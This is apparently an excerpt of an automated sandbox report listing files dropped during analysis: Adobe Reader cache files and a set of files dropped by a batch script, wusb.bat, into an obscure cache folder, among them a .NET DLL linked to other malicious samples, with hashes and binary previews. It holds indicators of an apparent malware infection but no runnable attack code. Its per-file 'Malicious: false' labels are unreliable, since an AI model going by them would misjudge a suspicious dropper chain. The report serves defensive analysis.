Encrypted:	false
SSDEEP:	6:m3PXYOFLvEWdBJvYQ6BGThltLahcsBXIh1:mxRBJQZ0dKB
MD5:	35C14C3D09EED342D0409267DE78071F
SHA1:	387465BD6B70CAAF7B5A469A5CC7F92AFA8959DC
SHA-256:	FF81058E7FD26B6BCDA4B51638CAE3F0A4DFE8545C611D0A4986F4E257B6D047
SHA-512:	17C9A52B2EA3A0D03EF3CA8CBD4ED43027C445A69C7183F99496BD1FD70644D9E283A30181A46E375F1B5E56E803C690D5AEED14FADF139007CFBA6320083A4D
Malicious:	false
Preview:	0\r..m......T......z...._keyhttps://rna-resource.acrobat.com/static/js/plugins/activity-badge/js/plugin.js ......[/....."#.D.t..;..A.A..Eo........a............k..`..N3.... ..d..$[.....{.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\febb41df4ea2b63a_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	228
Entropy (8bit):	5.6014846564470595
Encrypted:	false
SSDEEP:	6:msPYOFLvEWdrROk/RJUQX1973hlthBc3Me/1:3RrROk/sQ19TjR
MD5:	995D232B43BF92FA285BABD0E3287870
SHA1:	6CC5107EF341341316C099E92A8A7E9935F3BE1F
SHA-256:	882F8F9AF4340626EF319B9CF0D5364D226840B22D31B5BB4D96E39564D4506A
SHA-512:	E0B217BED28A792398FA5E2268453C2B45C963C13A459B6F9C85E117F9F9B90AC1BC4D166CB07AF34EAC6623C1A89E948D28B83BAEB2A669FEF53E646A11C1A3
Malicious:	false
Preview:	0\r..m......d...<.s....._keyhttps://rna-resource.acrobat.com/static/js/plugins/desktop-connector-files-select/js/plugin.js ......[/....."#.D....;..A.A..Eo.......................9Q].8O.z....=..:.N.{....N{.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\index-dir\temp-index

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	4.9428322076581255
Encrypted:	false
SSDEEP:	12:p+ik+weCRa5tbaLP+D5vSLvxgKMzl1WPCpPUa8ymo6+QLwPivLw+23QQMrCNxTvR:pHQeFMLDMx/6hcNTdxoe
MD5:	6D17E822E5310CB2EFF0DDF77C476390
SHA1:	D04EF554462B27C8B39F27BFE3A568E89A918940
SHA-256:	23588BA4059AB301838562E5E108C22D5776648F10CB899A5316E471548D0072
SHA-512:	561A5C74C2964EA51F66B93D53C1EE58BAB78F09C8DBC4DD15D54EF66F1EA64BB49967B6CFDDFD6A317C0651D2A2311F26F1E7D4C7957758AFE7B948BD38B38A
Malicious:	false
Preview:	....K.[.oy retne....(........P...................[/...........;.y~A......[/..............oB..p..[/............#...(@..................D.4......[/..........[.i..%......[/.............k7A......[/..........]...I...C..[/.........,+..._.#.....[/.........<...W..J..p..[/..........J..j........[/...........6<\|.....p..[/...........2q.........[/...........P....V.....[/.........!...0.o.....[/............P[. q.....[/...........3........[/..........v...q....p..[/...........a......p..[/..........C..M..@..............F..=z;......[/.............o......[/.........Gy.'.h......[/.........:..N.A.......[/..........;/........[/.....................[/.........A?.2:.......[/..............q......[/..........u\]..q.....[/..........o..k.......[/....................[/.........^.~..z......[/.........+.U.!..V.....[/..........~.,.4>......[/..........+.{..'.....[/..........@..x......[/............MV3.......[/.........)....J:.....[/..........&.S.........[/.........=....m.......[/.........

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\index-dir\the-real-index (copy)

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	4.9428322076581255
Encrypted:	false
SSDEEP:	12:p+ik+weCRa5tbaLP+D5vSLvxgKMzl1WPCpPUa8ymo6+QLwPivLw+23QQMrCNxTvR:pHQeFMLDMx/6hcNTdxoe
MD5:	6D17E822E5310CB2EFF0DDF77C476390
SHA1:	D04EF554462B27C8B39F27BFE3A568E89A918940
SHA-256:	23588BA4059AB301838562E5E108C22D5776648F10CB899A5316E471548D0072
SHA-512:	561A5C74C2964EA51F66B93D53C1EE58BAB78F09C8DBC4DD15D54EF66F1EA64BB49967B6CFDDFD6A317C0651D2A2311F26F1E7D4C7957758AFE7B948BD38B38A
Malicious:	false
Preview:	....K.[.oy retne....(........P...................[/...........;.y~A......[/..............oB..p..[/............#...(@..................D.4......[/..........[.i..%......[/.............k7A......[/..........]...I...C..[/.........,+..._.#.....[/.........<...W..J..p..[/..........J..j........[/...........6<\|.....p..[/...........2q.........[/...........P....V.....[/.........!...0.o.....[/............P[. q.....[/...........3........[/..........v...q....p..[/...........a......p..[/..........C..M..@..............F..=z;......[/.............o......[/.........Gy.'.h......[/.........:..N.A.......[/..........;/........[/.....................[/.........A?.2:.......[/..............q......[/..........u\]..q.....[/..........o..k.......[/....................[/.........^.~..z......[/.........+.U.!..V.....[/..........~.,.4>......[/..........+.{..'.....[/..........@..x......[/............MV3.......[/.........)....J:.....[/..........&.S.........[/.........=....m.......[/.........

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\index-dir\the-real-index~RF62858e.TMP (copy)

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	4.9428322076581255
Encrypted:	false
SSDEEP:	12:p+ik+weCRa5tbaLP+D5vSLvxgKMzl1WPCpPUa8ymo6+QLwPivLw+23QQMrCNxTvR:pHQeFMLDMx/6hcNTdxoe
MD5:	6D17E822E5310CB2EFF0DDF77C476390
SHA1:	D04EF554462B27C8B39F27BFE3A568E89A918940
SHA-256:	23588BA4059AB301838562E5E108C22D5776648F10CB899A5316E471548D0072
SHA-512:	561A5C74C2964EA51F66B93D53C1EE58BAB78F09C8DBC4DD15D54EF66F1EA64BB49967B6CFDDFD6A317C0651D2A2311F26F1E7D4C7957758AFE7B948BD38B38A
Malicious:	false
Preview:	....K.[.oy retne....(........P...................[/...........;.y~A......[/..............oB..p..[/............#...(@..................D.4......[/..........[.i..%......[/.............k7A......[/..........]...I...C..[/.........,+..._.#.....[/.........<...W..J..p..[/..........J..j........[/...........6<\|.....p..[/...........2q.........[/...........P....V.....[/.........!...0.o.....[/............P[. q.....[/...........3........[/..........v...q....p..[/...........a......p..[/..........C..M..@..............F..=z;......[/.............o......[/.........Gy.'.h......[/.........:..N.A.......[/..........;/........[/.....................[/.........A?.2:.......[/..............q......[/..........u\]..q.....[/..........o..k.......[/....................[/.........^.~..z......[/.........+.U.!..V.....[/..........~.,.4>......[/..........+.{..'.....[/..........@..x......[/............MV3.......[/.........)....J:.....[/..........&.S.........[/.........=....m.......[/.........

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.147099460021813
Encrypted:	false
SSDEEP:	6:k7O62qROq2P92nKuAl9OmbnIFUtIO62XXVZmwuO62XXHkwO92nKuAl9OmbjLJ:kF2qOv4HAahFUtQ2XXV/e2XXH5LHAaSJ
MD5:	B1428E07335D526543D146C183FF0C83
SHA1:	6FB9CC658C45451C94EEA7297874CAFBAE0CAC9A
SHA-256:	BC6214FE502F3028DA91CF1A77E6B89C5388E28CA38CBB45DF90A16D2E2F3E23
SHA-512:	EF093ECA0EE2CBCC0DB398A78D4FC117C01A7C1F7F0B8735C3A7F1FA3F4F4D97E8328B17535FE6C0D60345185DF03E35C344C134A23688686E053B7A33C55C9D
Malicious:	false
Preview:	2023/06/01-12:14:42.713 11c4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2023/06/01-12:14:42.723 11c4 Recovering log #3.2023/06/01-12:14:42.723 11c4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.147099460021813
Encrypted:	false
SSDEEP:	6:k7O62qROq2P92nKuAl9OmbnIFUtIO62XXVZmwuO62XXHkwO92nKuAl9OmbjLJ:kF2qOv4HAahFUtQ2XXV/e2XXH5LHAaSJ
MD5:	B1428E07335D526543D146C183FF0C83
SHA1:	6FB9CC658C45451C94EEA7297874CAFBAE0CAC9A
SHA-256:	BC6214FE502F3028DA91CF1A77E6B89C5388E28CA38CBB45DF90A16D2E2F3E23
SHA-512:	EF093ECA0EE2CBCC0DB398A78D4FC117C01A7C1F7F0B8735C3A7F1FA3F4F4D97E8328B17535FE6C0D60345185DF03E35C344C134A23688686E053B7A33C55C9D
Malicious:	false
Preview:	2023/06/01-12:14:42.713 11c4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2023/06/01-12:14:42.723 11c4 Recovering log #3.2023/06/01-12:14:42.723 11c4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old~RF621e68.TMP (copy)

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.147099460021813
Encrypted:	false
SSDEEP:	6:k7O62qROq2P92nKuAl9OmbnIFUtIO62XXVZmwuO62XXHkwO92nKuAl9OmbjLJ:kF2qOv4HAahFUtQ2XXV/e2XXH5LHAaSJ
MD5:	B1428E07335D526543D146C183FF0C83
SHA1:	6FB9CC658C45451C94EEA7297874CAFBAE0CAC9A
SHA-256:	BC6214FE502F3028DA91CF1A77E6B89C5388E28CA38CBB45DF90A16D2E2F3E23
SHA-512:	EF093ECA0EE2CBCC0DB398A78D4FC117C01A7C1F7F0B8735C3A7F1FA3F4F4D97E8328B17535FE6C0D60345185DF03E35C344C134A23688686E053B7A33C55C9D
Malicious:	false
Preview:	2023/06/01-12:14:42.713 11c4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2023/06/01-12:14:42.723 11c4 Recovering log #3.2023/06/01-12:14:42.723 11c4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Visited Links

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.007864178932406301
Encrypted:	false
SSDEEP:	3:ImtV+Y1UWu/lt4T16BSxztJC5Kv:IiV+SUrs10SsK
MD5:	2797CC3B5A91317544E0D09184562E6A
SHA1:	E394C8C10D9EE6FE720B9C33E9B5D64808A8F983
SHA-256:	1903B6502C5D63A3D50E3211598F45BFCDCE86337AE76E07BC4540AC9CDAC89A
SHA-512:	0D24ABFE4ECB15DCBB845E05C14C7A802F23B1FD62014A4A109D240661B0C679F665E9F2E82EF32360B86F7547BE55EAF0CEEFE13A242C2732275C4F5DB1A337
Malicious:	false
Preview:	VLnk.....?.......+.}.^1.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-230601191439Z-325.bmp

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	0.6442903166717108
Encrypted:	false
SSDEEP:	96:6JiNp29ECmTTT8dePc4lDe/quy47rHMMMT8:CyCaT8UgB3
MD5:	E0E44159B1CE64E3FBCA349002312A5A
SHA1:	3E2C1142527A78285FCBE981250E07A6FB5C94E5
SHA-256:	850CACAE25D1D93F40679BF94F801027CDB3DFDACA2CDFFBA2836EE0B19DCE44
SHA-512:	EFC5A54E1A000DD4D38AC95EFA76412A2B4EF7E94A7B4C6AC20A8656551756D3D05A0323BB29CAC47008D71024300468B9B2A735CA16A23EC6DF1CEEC856E487
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	SQLite 3.x database, last written using SQLite version 3024000, file counter 12, database pages 15, cookie 0x5, schema 4, UTF-8, version-valid-for 12
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	3.5688755021136545
Encrypted:	false
SSDEEP:	384:3el9dThRtELJ8f0RxOY71ZsLRGlKh4vXh+vSc:Q4T1ZsLUhUSc
MD5:	7B4E15728918BC83644AAF2690450293
SHA1:	982059EB6C295448AC5AE727786797BFA8C85C19
SHA-256:	0A942D393740CB2A8D1CB9B9804CDA8E87EF3A36A13CF6A762C24184320B904A
SHA-512:	C21CF4F9357E57F1BD3C208A6058032982CA26D9F99C89E5842134829EABB9C7EB78ABD1F8BAA12BDEB8E7A40A586020AED275C014536ADC5C17B42C0274FDEF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................$.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.2892329878129445
Encrypted:	false
SSDEEP:	48:7MWom1CZiomliom2om1Nom1Aiom1RROiom1oom1pom1HZiomVsiomg9qQlmFTIF1:76Z2OhjCs9N49IVXEBodRBku
MD5:	2633FC03624F53923D7F7D83C49388E3
SHA1:	AF1494FCA37573D818596C2190711DF1CFD43914
SHA-256:	9F5BC6C16FC66F4E00FED196E9417E389AEE948ED04AEB707EF4719C66B6548A
SHA-512:	4B3AE76DD0A47BDCB790BDA90B660ED850AB28CDABCC8EA3504FEA4DD9A33F6EB89B5FF699A287375CB7BFEB946A2A7C5768CC7936978E31C0CB5F476FB88454
Malicious:	false
Preview:	.... .c.......5&..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s........L.s.y................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache.bin

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	data
Category:	dropped
Size (bytes):	63598
Entropy (8bit):	5.433041226997456
Encrypted:	false
SSDEEP:	768:PCbGNFYGpiyVFiCUZfekEkUQPA7jQ9SF1WNbmAZIWkU1ZYyu:J0GpiyVFiBVEkUQPAfpFQZvkAK
MD5:	05C495F13535B406207C93DC78D82008
SHA1:	ED73EFD4E6927639329AA23C7B0369B5DC17EAE8
SHA-256:	3E1567117905EF993B6D392BD58BB1291923D204D4C6025360104BECDBF875ED
SHA-512:	F7060DF58B54497884D11603B7DCCACB363E6B3B8A51D5D15D90EC13C94870F90951A0573A13EFE17CE96B028452017D388B1AFC36EEFF30514BB19D6A87B572
Malicious:	false
Preview:	4.382.88.FID.2:o:........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.94.FID.2:o:........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.82.FID.2:o:........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.93.FID.2:o:........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.107.FID.2:o:........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.103.FID.2:o:........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.116.FID.2:o:........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.75.FID.2:o:........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.89.FID.2:o:........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.85.FID.2:o:........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.98.FID.2:o:........:F:Arial-B

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Quarrelers.Cod

Process:	C:\Users\Public\wusb.bat
File Type:	ASCII text, with very long lines (63174), with no line terminators
Category:	dropped
Size (bytes):	63174
Entropy (8bit):	2.6774097576064904
Encrypted:	false
SSDEEP:	768:3YEEGqhLpa+/YcynMY2/LX+OLugY5QzfsqHeWEEtKxla+2HfoiHdGhM0RSliNkWj:P+gnaLU6nHfOhJSAk9MN8ABC0riG
MD5:	4A179C732FBA82188F2D1C207BFE228E
SHA1:	D8A88AB76074671ED11A9636DBE6012A2B61C6C1
SHA-256:	2ADE6C66A5BF036D8E9899ADE349C7A887BE41757A7004869E19A64AB2BD0B7E
SHA-512:	D6200251DC566516FFD8601153022B0E8AAAFCED83CA2A95CB3F93E12E84DDFEC2FBC48CACFE49EBF34A25D5418FDEF154D31AB008BBA878B7B21E7D98FD81EF
Malicious:	false
Preview:	003000E9004E00000041000000484800D10000606000230000575700C10000006A6A00A0A0A0001717170000005C5C00A7000000F50000004C4C000028282800A70000A70070707070707000AF00DF00AFAF00EBEB00AF0000000000F00057001F008D8D002C2C2C0000000000606060606060600000800000E7000000320000003737007A7A0000606060606000007474740000000000262600BDBD008F0000F8F80051510033330000CC0000000000E3E300B00000BA0000000303009595959500B40054545454005700F600006C0000EA004A4A000D00001B1B1B1B000039000000000000737373730000AC004100000000002B0000202020202000858500CC000017005900003D0045450000006D00FE00000005050505000055555500000098000000AC00007E006200000900003D3D004F4F000000000000D6007D7D003D00000000000043430000007F007E00F600000000000000000000000041008E8E8E8E8E8E8E006F6F0035004B000000CA002C00130000000000000000AE00006000000000EB000000E700004D4D4D00AD0000330045454545450000000500A9A9008D8D0000D4000000ED00000000003D3D000000C1C1000000000B000000CACACACACACACA0047003232004E4E00000000F300000000003D00008E8E007F000E004545454500007B009C9C9C00000003030000

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Troubleshooting\Egueiite240\Postpyloric6.Ann

Process:	C:\Users\Public\wusb.bat
File Type:	data
Category:	dropped
Size (bytes):	118233
Entropy (8bit):	7.710808982633477
Encrypted:	false
SSDEEP:	3072:XO5UDdjGuQqD+lhBEfDhNTWYZwhVZqBEKwib7YuX3:LDddisbaY6hVZqBLdRX3
MD5:	A7B2863D380B7FE3F8E99B4BF634B39F
SHA1:	85595D001B815501BB91996BCAE34600ABA3C36E
SHA-256:	65FE205CBE270540C6E67A3307C61EE18475062F36F8A5836B3958BD7E24F533
SHA-512:	3403955017869C8A4602441B20EDC52EC9AFC26CA6FE3891309BEF8B2A4CDD7C4D50CC2DCE667467CC72044C01F729476772FE1B83EF2F4A5CFB3940A4BF7D9B
Malicious:	false
Preview:	...............................U..].........CCC.....2.4.....<.................4.......ddddddd.......w................DDDD....ttt..........................mm......v.x..............%.......}}.u.....................8................}.K.5...................g...u.......c............b.......ff....&&.........l.....................?...............h.......!..\|......5......................................................T...4...yy.........................oo.....j..r.......V..D.....V..........................(......C..333............99..P..........******..JJ..iii.........m.$..........l..$..................................................8....ppppppp........~~~~..........QQQQ..n..M.....................[....GG.............gggggggggg..........===.6.........................C.................999......+.......222......0.y..............b.....!!..................U........[.zz..................7..................Z..........YY.......A.....\|.....M........,,..LLL.1...KK.....H......PP......O..e....J.o.L.....\|

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Troubleshooting\Egueiite240\SharpDX.DXGI.dll

Process:	C:\Users\Public\wusb.bat
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	5.775805248630538
Encrypted:	false
SSDEEP:	1536:QFNovLGNuZPQtwhY4SFDivO5Ib6VU3x8sDKxq:QFNsLGNulhY4SG+xq
MD5:	0EDD7743DB76D68D2E198F137E56360C
SHA1:	76B0ACA1C410901C8399FBFDAC2AC36E80C4837C
SHA-256:	F03C45B29D8DB5C2BD9461EFB834723C2F9C84A1FED921D9577BC0511AE0B86D
SHA-512:	67716007A5771D3A45104CB0C3823EBAE58F39E91B5A8AA4653A6FD3E65162C824DF7E5944A123DA70F7739904EF46E43B7A7E1906BE95FB11CAE906673FBB58
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: zpeu.exe, Detection: malicious, Browse Filename: zpeu.exe, Detection: malicious, Browse Filename: as.ps1, Detection: malicious, Browse Filename: KwP6qU3cQ8.exe, Detection: malicious, Browse Filename: KwP6qU3cQ8.exe, Detection: malicious, Browse Filename: DB948GHBNJI.xlsx, Detection: malicious, Browse Filename: Order-new world foods.xlsx, Detection: malicious, Browse Filename: 8cAZneRN6B.exe, Detection: malicious, Browse Filename: 8cAZneRN6B.exe, Detection: malicious, Browse Filename: fr34veeTGm.exe, Detection: malicious, Browse Filename: fr34veeTGm.exe, Detection: malicious, Browse Filename: ShipmentReceipt9521368040.xlsx, Detection: malicious, Browse Filename: njUIPPVrud.exe, Detection: malicious, Browse Filename: njUIPPVrud.exe, Detection: malicious, Browse Filename: ShipmentReceipt93213628045.xlsx, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....e.O...........!.....N..........~m... ........@.. ...............................%....@.................................$m..W....................................l............................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............V..............@..B................`m......H........F...&...................E.......................................(......0................(....(......(....&.(...+."..(.......Z.~....(....-..s.......0..6........{.........(.....{....M........ZXM)....(.......(........0..D........{........,..o....+.~....(.....{....M........ZXM)....(.......(......0..5..........{..........(.....{....M........ZXM)....(.............0..6..........{..........{....M........ZXM)....(..........(.....*...0..:.......s.......o......(......~.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\bn.txt

Process:	C:\Users\Public\wusb.bat
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	15062
Entropy (8bit):	4.039346182307332
Encrypted:	false
SSDEEP:	192:iM+g4O23sZEstg+lTr++0Mx148IiZaXTXEU10bXYc+4/rexX4:iMyc2stg+lTr++0MQ8DZRDYc+4axI
MD5:	D0E788F64268D15B4391F052B1F4B18A
SHA1:	2FD8E0A9DD22A729D578536D560354C944C7C93E
SHA-256:	216CC780E371DC318C8B15B84DE8A5EC0E28F712B3109A991C8A09CDDAA2A81A
SHA-512:	D50EA673018472C17DB44B315F4C343A2924A2EAA95C668D1160AA3830533CA37CC13C2067911A0756F1BE8C41DF45669ABE083759DCB9436F98E90CBB6AC8BF
Malicious:	false
Preview:	.;!@Lang2@!UTF-8!..; 4.46 : Team Oruddho (Fahad Mohammad Shaon, Mahmud Hassan) : http://www.oruddho.com..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Bangla.........401..... ..................&.......&....&.... ................&...... .......440..&....... .... ........&...... .... .............. ......&........& .......&.............. ............... ..... .... ......?..500..&......&..................&..&.......&........&........540..&........ .....7-zip-. ........ ........... ........ .....&..........&............. ...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\find-location-symbolic.svg

Process:	C:\Users\Public\wusb.bat
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	713
Entropy (8bit):	4.445408002557924
Encrypted:	false
SSDEEP:	12:TMHdPnnl/nu3tlndL9+Wlz3MQFcWUio23kRqaM8UwYOWlz2Wlzm7Wlzi5WlzsbWW:2dPnnxu3tldLklFWUi/3kRqaRUZODv7R
MD5:	9A5B1DB3C4E78A928BDB639BE46AA003
SHA1:	595D3D9C7BB646CF607923AEBC3583B48F03B426
SHA-256:	0C481D646B531DCBF2FCCE2A034CE6A202CAEEB1C17A591756CB3A08514AC9ED
SHA-512:	CA5E59B27D89651DFE89868C2D0DF63EFE64AB4B3E0E49937CFC15E84610505E2378E29D716FB803BEF74C80D99D25E93B7D5E8D7B1BE3EF905A8C910011F47F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg">. <g fill="#2e3436">. <path d="m 11 8 c 0 1.65625 -1.34375 3 -3 3 s -3 -1.34375 -3 -3 s 1.34375 -3 3 -3 s 3 1.34375 3 3 z m 0 0"/>. <path d="m 8 1 c -3.851562 0 -7 3.144531 -7 7 s 3.148438 7 7 7 s 7 -3.144531 7 -7 s -3.148438 -7 -7 -7 z m 0 2 c 2.773438 0 5 2.230469 5 5 s -2.226562 4.996094 -5 4.996094 s -5 -2.226563 -5 -4.996094 s 2.226562 -5 5 -5 z m 0 0"/>. <path d="m 7 0 h 2 v 3 h -2 z m 0 0"/>. <path d="m 7 13 h 2 v 3 h -2 z m 0 0"/>. <path d="m 16 7 v 2 h -3 v -2 z m 0 0"/>. <path d="m 3 7 v 2 h -3 v -2 z m 0 0"/>. </g>.</svg>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\network-cellular-symbolic.svg

Process:	C:\Users\Public\wusb.bat
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	441
Entropy (8bit):	4.575285851859924
Encrypted:	false
SSDEEP:	12:t4CDqwqZo8nGGa6Smf+e9s/J7e3VN5IUavl+i:t4CGosm6Sle9s/Be3Vv+lN
MD5:	79F668FBC971471D3CE930DD5B53F01D
SHA1:	0A21641F8BDCA5C3DDAAA2224E80784BF1F3EE9A
SHA-256:	8ECA65E299CCB64B2145263827EED45130336E01A4FB1F309C8A36E8751473D4
SHA-512:	DFA0CD2923F83514181299F7374D553B2B427028E47BC2033E377850FD98121806EA370DEE64349AE410F84CC815E74AFF8E11227FCF21E2E1BF83BAA6BD2616
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"><path d="M2 1c-1.261.98-2 2.833-2 5 0 2.127.777 4.005 2 5h1V9c-.607-.78-1-1.759-1-3s.393-2.211 1-3V1zm11 0v2c.607.789 1 1.759 1 3s-.393 2.22-1 3v2h1c1.223-.995 2-2.873 2-5 0-2.167-.739-4.02-2-5zM4 3c-.688.784-1 1.743-1 3s.328 2.163 1 3h1V3zm7 0v6h1c.672-.837 1-1.743 1-3s-.312-2.216-1-3zM8 4a2 2 0 100 4 2 2 0 000-4zm0 5a1 1 0 00-1 1v6h2v-6a1 1 0 00-1-1z" fill="#2e3436"/></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1196
Entropy (8bit):	5.333915035046385
Encrypted:	false
SSDEEP:	24:3aZPpQrLAo4KAxX5qRPD42HOoFe9t4CvKuKnKJF9G:qZPerB4nqRL/HvFe9t4Cv94anG
MD5:	B15D7C50C640BEF4A1E823CE568A5E5E
SHA1:	E456E2EE754F8FBA38F8F75858491258896C9E41
SHA-256:	A95974F134C10C31BF7B1243C3E5F3987F1CC878565E28182DEC577D552450C0
SHA-512:	B7E7D0303E3DCF81217B7AC871AF1C4871D8BA19CC595DB35A6640108411126666D244D8CF91D766E129E7306FBCBA9622746DF74EC030E180CFDEDB78239107
Malicious:	false
Preview:	@...e................................................@..........8................'....L..}............System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o...A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.AutomationL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServices4................Zg5..:O..g..q..........System.Xml..4...............T..'Z..N..Nvj.G.........System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<...............)L..Pz.O.E.R............System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cew2lk0s.t5u.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
